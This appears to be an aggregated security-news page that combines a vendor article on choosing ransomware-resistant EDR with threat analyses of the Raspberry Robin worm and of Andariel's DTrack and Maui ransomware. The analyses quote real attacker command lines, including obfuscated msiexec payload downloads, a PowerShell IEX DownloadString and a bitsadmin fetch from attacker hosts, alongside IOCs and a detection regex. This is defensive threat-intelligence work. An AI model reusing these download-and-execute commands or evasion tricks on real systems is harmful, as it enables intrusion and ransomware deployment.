Contrast this with an ML model trained to recognize “bad behavior,” where the model finds patterns in datasets of known malware code. On the low side, there are tens of billions of unique malware, so we can safely assume “bad behavior” is seemingly endless.

The larger the dataset of bad behavior, the greater the chances of misinterpreting good behavior as bad, leading to many false positives.

“Indicators of Compromise (IOC) and Indicators of Attack (IOA) are ill-suited for EDR detections. IOC and IOA define bad, and ‘bad’ mutates, creating 100s of billions of possibilities,” Zamani says. Therefore, a modern EDR heuristics engine must be trained on the good behavior of known-good applications.

Dealing with too many false positives costs time and manpower, distracting you from actual security issues like ransomware. Make sure you choose an EDR that detects deviations from known-good applications to reduce false positives that could distract you in your fight against ransomware.

4. Uses standard reference language and forensic analysis

So your EDR has EP and is looking for deviation from known-good behavior to lower false positives—now, it has sent you a notification of a ransomware threat. The next piece of an anti-ransomware EDR is that the information that comes to you should be standardized both in summary and in detail.

“Traditional, older style EDR will use vendor-specific verbiage for describing the attack,” Zamani says. “But in your EDR, you want the TTPs (tools, techniques, and procedures) of threats to be described in plain English with a common reference number.”

The reference number is necessary for documentation purposes, Zamani says. At the same time, the plain-English description is necessary for you to know at what stage an endpoint was ransomed (because a hacker could have exploited a vulnerability in a still-running application).

“In your EDR, you want the TTPs (tools, techniques, and procedures) of threats to be described in plain English with a common reference number.”

Robert Zamani, Regional Vice President, Americans Solutions Engineering

To avoid unnecessary complexity in figuring out the origin of a ransomware threat, your EDR solution should have an industry standardized way of describing the attack—such as MITRE ATT&CK (Adversarial Tactics, Techniques, and Common Knowledge).

“Your EDR needs to tell the story of what happened using the standard reference language of MITRE with direct links to the MITRE ATT&CK reference library,” Zamani says. “It should provide a summary using a Kanban board and a separate process graph with detailed forensics of what and how it happened.”

Your EDR should show you alerts that are standardized both in summary and in detail.

5. Thorough containment, eradication, and recovery options

Look to an EDR to mitigate unforeseen threats and ultimately a new method of ransomware (exploitation of trust), says Zamani.

If one of your endpoints gets infected with ransomware, we want to stop the spread as fast as possible, which NIST defines as “containment” in its “Computer Security Incident Handling Guide.”

Containment prevents lateral movement of an attack by allowing you to contain individual machines, processes, or user-IDs and continue active response activities—making quick and easy containment features a must for your EDR.

But the fight doesn’t stop at containment, says Zamani.

“So you’ve contained and studied a threat with your EDR. That’s great,” says Zamani. “But now you want to do remediation. You want to remotely eradicate the ransomware and restore the endpoint to a known-good state free of malware, virus, unwanted programs including unwanted modification.”

But you may ask: Aren’t eradicating and recovering from ransomware the same thing? Not quite, Zamani says.

“Just because you deleted the artifacts does not restore the endpoint into a state where the machine can function. For example, a registry key says the startup sequence is ‘malware first, and then boot.’ So we remove the nasty registry key ‘malware first’, but if you say nothing else, the system won’t boot!”

In other words, your EDR needs instrumentation that not only eradicates ransomware but actually recovers and restores the machine’s state into a functioning state where it can be returned to the network.

“Your ransomware rollback should store changes to data files on the system in a local cache for 72 hours (no ransomware actually exceeds 24 hours), which can be used to help revert changes caused by ransomware,” Zamani says.

6. Searches for ransomware indicators across all your managed endpoints

What if you want to see if the same ransomware threat you discovered on one of your endpoints is in the early stages of the attack on other endpoints?

“Your EDR should have a search engine that can look at any of the TTPs and search across your network,” Zamani says. “Because you want to see if you can catch something early enough before it hits the point of ransom.”

Look for an EDR that can search data like files, registry, processes, and networking activity so you can threat hunt or analyze how a ransomware compromise occurred in your environment.

Businesses need an EDR that immediately detects and responds to ransomware threats

In this post, cybersecurity expert Robert Zamani explained the features SMBs should look for in an anti-ransomware EDR and why.

Of course, the fight against ransomware doesn’t stop at EDR: you still good cyber hygiene with a well-written and practiced Incident Response Plan (IRP). Looking to further empower your business in the fight against ransomware?

Read our “A Defender’s Guide to Ransomware Resilience” eBook!

More resources

Ransomware protection with Malwarebytes EDR: Your FAQs, answered!

Simplifying the fight against ransomware: An expert explains

Demo: Your data has been encrypted! Stopping ransomware attacks with Malwarebytes EDR

Virtual Currency Platform ‘Tornado Cash’ Accused of Aiding APTs

U.S. Treasury blocked the business of the virtual currency mixer for laundering more than $7 billion for hackers, including $455 million to help fund North Korea’s missile program.U.S. Treasury blocked the business of the virtual currency mixer for laundering more than $7 billion for hackers, including $455 million to help fund North Korea’s missile program.Read More

Raspberry Robin: Highly Evasive Worm Spreads over External Disks

Introduction

During our threat hunting exercises in recent months, we’ve started to observe a distinguishing pattern of msiexec.exe usage across different endpoints. As we drilled down to individual assets, we found traces of a recently discovered malware called Raspberry Robin. The RedCanary Research Team first coined the name for this malware in their blog post, and Sekoia published a Flash Report about the activity under the name of QNAP Worm. Both articles offer great analysis of the malware’s behavior. Our findings support and enrich prior research on the topic.

Execution Chain

Raspberry Robin is a worm that spreads over an external drive. After initial infection, it downloads its payload through msiexec.exe from QNAP cloud accounts, executes its code through rundll32.exe, and establishes a command and control (C2) channel through TOR connections.

Image 1: Execution chain of Raspberry Robin

Let’s walkthrough the steps of the kill-chain to see how this malware functions.

Delivery and Exploitation

Raspberry Robin is delivered through infected external disks. Once attached, cmd.exe tries to execute commands from a file within that disk. This file is either a .lnk file or a file with a specific naming pattern. Files with this pattern exhibit a 2 to 5 character name with an usually obscure extension, including .swy, .chk, .ico, .usb, .xml, and .cfg. Also, the attacker uses an excessive amount of whitespace/non printable characters and changing letter case to avoid string matching detection techniques. Example command lines include:

C:WindowsSystem32cmd.exe [redacted whitespace/non printable characters] /RCmD<qjM.chK
C:WindowsSystem32cmd.exe [redacted whitespace/non printable characters] /rcMD<[external disk name].LNk:qk
C:WindowsSystem32cmd.exe [redacted whitespace/non printable characters] /v /c CMd<VsyWZ.ICO
C:WindowsSystem32cmd.exe [redacted whitespace/non printable characters] /R C:WINDOWSsystem32cmd.exe<Gne.Swy

File sample for delivery can be found in this URL:
https://www.virustotal.com/gui/file/04c13e8b168b6f313745be4034db92bf725d47091a6985de9682b21588b8bcae/relations

Next, we observe explorer.exe running with an obscure command line argument, spawned by a previous instance of cmd.exe. This obscure argument seems to take the name of an infected external drive or .lnk file that was previously executed. Some of the samples had values including USB, USB DISK, or USB Drive, while some other samples had more specific names. On every instance of explorer.exe we see that the adversary is changing the letter case to avoid detection:

ExPLORer [redacted]
exploREr [redacted]
ExplORER USB Drive
eXplorer USB DISK

Installation

After delivery and initial execution, cmd.exe spawns msiexec.exe to download the Raspberry Robin payload. It uses -q or /q together with standard installation parameter to operate quietly. Once again, mixed case letters are used to bypass detection:

mSIexeC -Q -IhTtP://NT3[.]XyZ:8080/[11 char long random string]/[computer name]=[username]
mSIExEC /q /i HTTP://k6j[.]PW:8080/[11 char long random string]/[computer name]=[username]
MSIExEC -q -I HTTP://6W[.]RE:8080/[11 char long random string]/[computer name]=[username]
mSIExec /Q /IhTTP://0Dz[.]Me:8080/[11 char long random string]/[computer name]=[username]
msIexec /Q -i http://doem[.]Re:8080/[11 char long random string]/[computer name]?[username]
MSieXEC -Q-ihtTp://aIj[.]HK:8080/[11 char long random string]/[computer name]?[username]

As you can see above, URLs used for payload download have a specific pattern. Domains use 2 to 4 character names with obscure TLDs including .xyz, .hk, .info, .pw, .cx, .me, and more. URL paths have a single directory with a random string 11 characters long, followed by hostname and the username of the victim. On network telemetry, we also observed the Windows Installer user agent due to the usage of msiexec.exe. To detect Raspberry Robin through its URL pattern, use this regex:

^http[s]{0,1}://[a-zA-Z0-9]{2,4}.[a-zA-Z0-9]{2,6}:8080/[a-zA-Z0-9]+/.*?(?:-|=|?).*?$

If we look up the WHOIS information for given domains, we see domain registration dates going as far back as February 2015. We also see an increase on registered domains starting from September 2021, which aligns with initial observations of Raspberry Robin by our peers.

WHOIS Creation Date
Count
12/9/2015
1


10/8/2020
1
11/14/2020
1
7/3/2021
1
7/26/2021
2
9/11/2021
2
9/23/2021
9
9/24/2021
6
9/26/2021
4
9/27/2021
2
11/9/2021
3
11/10/2021
1
11/18/2021
2
11/21/2021
3
12/11/2021
7
12/31/2021
7
1/17/2022
6
1/30/2022
11
1/31/2022
3
4/17/2022
5

Table 1: Distribution of domain creation dates over time

 

Associated domains have SSL certificates with the subject alternative name of q74243532.myqnapcloud.com, which points out the underlying QNAP cloud infra. Also, their URL scan results return login pages to QTS service of QNAP:

Image 2: QNAP QTS login page from associated domains

Once the payload is downloaded, it is executed through various system binaries. First, rundll32.exe uses the ShellExec_RunDLL function from shell32.dll to leverage system binaries such as msiexec.exe, odbcconf.exe, or control.exe. These binaries are used to execute the payload stored in C:ProgramData[3 chars]

C:WINDOWSsystem32rundll32.exe shell32.dll ShellExec_RunDLL C:WINDOWSsyswow64MSIEXEC.EXE/FORCERESTART rfmda=HUFQMJFZWJSBPXH -NORESTART /QB -QR -y C:ProgramDataAzuwnjdgz.vhbd. -passive /QR /PROMPTRESTART -QR -qb /forcerestart
C:Windowssystem32RUNDLL32.EXE shell32.dll ShellExec_RunDLLA C:Windowssyswow64odbcconf.exe -s -C -a {regsvr C:ProgramDataTvbzhixyye.lock.} /a {CONFIGSYSDSN wgdpb YNPMVSV} /A {CONFIGDSN dgye AVRAU pzzfvzpihrnyj}
exe SHELL32,ShellExec_RunDLLA C:WINDOWSsyswow64odbcconf -E /c /C -a {regsvr C:ProgramDataEuoikdvnbb.xml.}
C:WINDOWSsystem32rundll32.exe SHELL32,ShellExec_RunDLL C:WINDOWSsyswow64CONTROL.EXE C:ProgramDataLzmqkuiht.lkg.

It is followed by the execution of fodhelper.exe, which has the auto elevated bit set to true. It is often leveraged by adversaries in order to bypass User Account Control and execute additional commands with escalated privileges [3]. To monitor suspicious executions of fodhelper.exe, we suggest monitoring its instances without any command line arguments.

Command and Control

Raspberry Robin sets up its C2 channel through the additional execution of system binaries without any command line argument, which is quite unusual. That likely points to process injection given elevated privileges in previous steps of execution. It uses dllhost.exe, rundll32.exe, and regsvr32.exe to set up a TOR connection.

Detection through Global Threat Alerts

In Cisco Global Threat Alerts available through Cisco Secure Network Analytics and Cisco Secure Endpoint, we track this activity under the Raspberry Robin threat object. Image 3 shows a detection sample of Raspberry Robin:

Image 3: Raspberry Robin detection sample in Cisco Global Threat Alerts

Conclusion

Raspberry Robin tries to remain undetected through its use of system binaries, mixed letter case, TOR-based C2, and abuse of compromised QNAP accounts. Although we have similar intelligence gaps (how it infects external disks, what are its actions on objective) like our peers, we are continuously observing its activities.

Indicators of Compromise

Type
Stage
IOC
Domain
Payload Delivery
k6j[.]pw
Domain
Payload Delivery
kjaj[.]top
Domain
Payload Delivery
v0[.]cx
Domain
Payload Delivery
zk4[.]me
Domain
Payload Delivery
zk5[.]co
Domain
Payload Delivery
0dz[.]me
Domain
Payload Delivery
0e[.]si
Domain
Payload Delivery
5qw[.]pw
Domain
Payload Delivery
6w[.]re
Domain
Payload Delivery
6xj[.]xyz
Domain
Payload Delivery
aij[.]hk
Domain
Payload Delivery
b9[.]pm
Domain
Payload Delivery
glnj[.]nl
Domain
Payload Delivery
j4r[.]xyz
Domain
Payload Delivery
j68[.]info
Domain
Payload Delivery
j8[.]si
Domain
Payload Delivery
jjl[.]one
Domain
Payload Delivery
jzm[.]pw
Domain
Payload Delivery
k6c[.]org
Domain
Payload Delivery
kj1[.]xyz
Domain
Payload Delivery
kr4[.]xyz
Domain
Payload Delivery
l9b[.]org
Domain
Payload Delivery
lwip[.]re
Domain
Payload Delivery
mzjc[.]is
Domain
Payload Delivery
nt3[.]xyz
Domain
Payload Delivery
qmpo[.]art
Domain
Payload Delivery
tiua[.]uk
Domain
Payload Delivery
vn6[.]co
Domain
Payload Delivery
z7s[.]org
Domain
Payload Delivery
k5x[.]xyz
Domain
Payload Delivery
6Y[.]rE
Domain
Payload Delivery
doem[.]Re
Domain
Payload Delivery
bpyo[.]IN
Domain
Payload Delivery
l5k[.]xYZ
Domain
Payload Delivery
uQW[.]fUTbOL
Domain
Payload Delivery
t7[.]Nz
Domain
Payload Delivery
0t[.]yT

References

Raspberry Robin gets the worm early – https://redcanary.com/blog/raspberry-robin/
QNAP worm: who benefits from crime? – https://7095517.fs1.hubspotusercontent-na1.net/hubfs/7095517/FLINT%202022-016%20-%20QNAP%20worm_%20who%20benefits%20from%20crime%20(1).pdf
UAC Bypass – Fodhelper – https://pentestlab.blog/2017/06/07/uac-bypass-fodhelper/
During our threat hunting exercises in recent months, we’ve started to observe a distinguishing pattern of msiexec.exe usage across different endpoints.Read More

Andariel deploys DTrack and Maui ransomware

On July 7, 2022, the CISA published an alert, entitled, “North Korean State-Sponsored Cyber Actors Use Maui Ransomware To Target the Healthcare and Public Health Sector,” related to a Stairwell report, “Maui Ransomware.” Later, the Department of Justice announced that they had effectively clawed back $500,000 in ransom payments to the group, partly thanks to new legislation. We can confirm a Maui ransomware incident in 2022, and add some incident and attribution findings.

We extend their “first seen” date from the reported May 2021 to April 15th 2021, and the geolocation of the target, to Japan. Because the malware in this early incident was compiled on April 15th, 2021, and compilation dates are the same for all known samples, this incident is possibly the first ever involving the Maui ransomware.

While CISA provides no useful information in its report to attribute the ransomware to a North Korean actor, we determined that approximately ten hours prior to deploying Maui to the initial target system, the group deployed a variant of the well-known DTrack malware to the target, preceded by 3proxy months earlier. This data point, along with others, should openly help solidify the attribution to the Korean-speaking APT Andariel, also known as Silent Chollima and Stonefly, with low to medium confidence.

Background

We observed the following timeline of detections from an initial target system:

2020-12-25 Suspicious 3proxy tool
2021-04-15 DTrack malware
2021-04-15 Maui ransomware

DTrack malware

MD5
739812e2ae1327a94e441719b885bd19
SHA1
102a6954a16e80de814bee7ae2b893f1fa196613
SHA256
6122c94cbfa11311bea7129ecd5aea6fae6c51d23228f7378b5f6b2398728f67
Link time
2021-03-30 02:29:15
File type
PE32 executable (GUI) Intel 80386, for MS Windows
Compiler
VS2008 build 21022
File size
1.2 MB
File name
C:WindowsTemptempmvhost.exe

Once this malware is spawned, it executes an embedded shellcode, loading a final Windows in-memory payload. This malware is responsible for collecting victim information and sending it to the remote host. Its functionality is almost identical to previous DTrack modules. This malware collects information about the infected host via Windows commands. The in-memory payload executes the following Windows commands:

“C:Windowssystem32cmd.exe” /c ipconfig /all > “%Temp%tempres.ip”
“C:Windowssystem32cmd.exe” /c tasklist > “%Temp%temptask.list”
“C:Windowssystem32cmd.exe” /c netstat -naop tcp > “%Temp%tempnetstat.res”
“C:Windowssystem32cmd.exe” /c netsh interface show interface >
“%Temp%tempnetsh.res”
“C:Windowssystem32cmd.exe” /c ping -n 1 8.8.8.8 > “%Temp%tempping.res”

In addition, the malware collects browser history data, saving it to the browser.his file, just as the older variant did. Compared to the old version of DTrack, the new information-gathering module sends stolen information to a remote server over HTTP, and this variant copies stolen files to the remote host on the same network.

Maui ransomware

The Maui ransomware was detected ten hours after the DTrack variant on the same server.

MD5
ad4eababfe125110299e5a24be84472e
SHA1
94db86c214f4ab401e84ad26bb0c9c246059daff
SHA256
a557a0c67b5baa7cf64bd4d42103d3b2852f67acf96b4c5f14992c1289b55eaa
Link time
2021-04-15 04:36:00
File type
PE32 executable (GUI) Intel 80386, for MS Windows
File size
763.67 KB
 File name
C:WindowsTemptempmaui.exe

Multiple run parameters exist for the Maui ransomware. In this incident, we observe the actors using “-t” and “- x” arguments, along with a specific drive path to encrypt:

C:WindowsTemptempbinMaui.exe -t 8 -x E:

In this case, “-t 8” sets the ransomware thread count to eight, “-x” commands the malware to “self melt”, and the “E:” value sets the path (the entire drive in this case) to be encrypted. The ransomware functionality is the same as described in the Stairwell report.

The malware created two key files to implement file encryption:

RSA private key
C:WindowsTemptempbinMaui.evd
RSA public key
C:WindowsTemptempbinMaui.key

Similar DTrack malware on different victims

Pivoting on the exfiltration information to the adjacent hosts, we discovered additional victims in India. One of these hosts was initially compromised in February 2021. In all likelihood, Andariel stole elevated credentials to deploy this malware within the target organization, but this speculation is based on paths and other artifacts, and we do not have any further details.

MD5
f2f787868a3064407d79173ac5fc0864
SHA1
1c4aa2cbe83546892c98508cad9da592089ef777
SHA256
92adc5ea29491d9245876ba0b2957393633c9998eb47b3ae1344c13a44cd59ae
Link time
2021-02-22 05:36:16
File type
PE32 executable (GUI) Intel 80386, for MS Windows
File size
848 KB

The primary objective of this malware is the same as in the case of the aforementioned victim in Japan, using different login credentials and local IP address to exfiltrate data.

Windows commands to exfiltrate data

From the same victim, we discovered additional DTrack malware (MD5 87e3fc08c01841999a8ad8fe25f12fe4) using different login credentials.

Additional DTrack module and initial infection method

The “3Proxy” tool, likely utilized by the threat actor, was compiled on 2020-09-09 and deployed to the victim on 2020-12-25. Based on this detection and compilation date, we expanded our research scope and discovered an additional DTrack module. This module was compiled 2020-09-16 14:16:21 and detected in early December 2020, having a similar timeline to the 3Proxy tool deployment.

MD5
cf236bf5b41d26967b1ce04ebbdb4041
SHA1
feb79a5a2bdf0bcf0777ee51782dc50d2901bb91
SHA256
60425a4d5ee04c8ae09bfe28ca33bf9e76a43f69548b2704956d0875a0f25145
Link time
2020-09-16 14:16:21
File type
PE32 executable (GUI) Intel 80386, for MS Windows
Compiler
VS2008 build 21022
File size
136 KB
File name
%appdata%microsoftmmcdwem.cert

This DTrack module is very similar to the EventTracKer module of DTrack, which was previously reported to our Threat Intelligence customers. In one victim system, we discovered that a well-known simple HTTP server, HFS7, had deployed the malware above. After an unknown exploit was used on a vulnerable HFS server and “whoami” was executed, the Powershell command below was executed to fetch an additional Powershell script from the remote server:

C:windowssystem32WindowsPowershellv1.0powershell.exe IEX (New-Object Net.WebClient).DownloadString(‘hxxp://145.232.235[.]222/usr/users/mini.ps1’)

The mini.ps1 script is responsible for downloading and executing the above DTrack malware via bitsadmin.exe:

bitsadmin.exe /transfer myJob /download /priority high
“hxxp://145.232.235[.]222/usr/users/dwem.cert” “%appdata%microsoftmmcdwem.cert”

The other victim operated a vulnerable Weblogic server. According to our telemetry, the actor compromised this server via the CVE-2017-10271 exploit. We saw Andariel abuse identical exploits and compromise WebLogic servers in mid-2019, and previously reported this activity to our Threat Intelligence customers. In this case, the exploited server executes the Powershell command to fetch the additional script. The fetched script is capable of downloading a Powershell script from the server we mentioned above (hxxp://145.232.235[.]222/usr/users/mini.ps1). Therefore, we can summarize that the actor abused vulnerable Internet-facing services to deploy their malware at least until the end of 2020.

Victims

The July 2022 CISA alert noted that the healthcare and public health sectors had been targeted with the Maui ransomware within the US. However, based on our research, we believe this operation does not target specific industries and that its reach is global. We can confirm that the Japanese housing company was targeted with the Maui ransomware on April 15, 2021. Also, victims from India, Vietnam, and Russia were infected within a similar timeframe by the same DTrack malware as used in the Japanese Maui incident: from the end of 2020 to early 2021.

Our research suggests that the actor is rather opportunistic and could compromise any company around the world, regardless of their line of business, as long as it enjoys good financial standing. It is probable that the actor favors vulnerable Internet-exposed web services. Additionally, the Andariel deployed ransomware selectively to make financial profits.

Attribution

According to the Kaspersky Threat Attribution Engine (KTAE), the DTrack malware from the victim contains a high degree of code similarity (84%) with previously known DTrack malware.

Also, we discovered that the DTrack malware (MD5 739812e2ae1327a94e441719b885bd19) employs the same shellcode loader as “Backdoor.Preft” malware (MD5 2f553cba839ca4dab201d3f8154bae2a), published/reported by Symantec – note that Symantec recently described the Backdoor.Preft malware as “aka Dtrack, Valefor”. Apart from the code similarity, the actor used 3Proxy tool (MD5 5bc4b606f4c0f8cd2e6787ae049bf5bb), and that tool was also previously employed by the Andariel/StoneFly/Silent Chollima group (MD5 95247511a611ba3d8581c7c6b8b1a38a). Symantec attributes StoneFly as the North Korean-linked actor behind the DarkSeoul incident.

Conclusions

Based on the modus operandi of this attack, we conclude that the actor’s TTPs behind the Maui ransomware incident is remarkably similar to past Andariel/Stonefly/Silent Chollima activity:

Using legitimate proxy and tunneling tools after initial infection or deploying them to maintain access, and using Powershell scripts and Bitsadmin to download additional malware;
Using exploits to target known but unpatched vulnerable public services, such as WebLogic and HFS;
Exclusively deploying DTrack, also known as Preft;
Dwell time within target networks can last for months prior to activity;
Deploying ransomware on a global scale, demonstrating ongoing financial motivations and scale of interest
Earlier, the CISA published an alert related to a Stairwell report, “Maui Ransomware.” Our data should openly help solidify the attribution of the Maui ransomware incident to the Korean-speaking APT Andariel, also known as Silent Chollima and Stonefly.Read More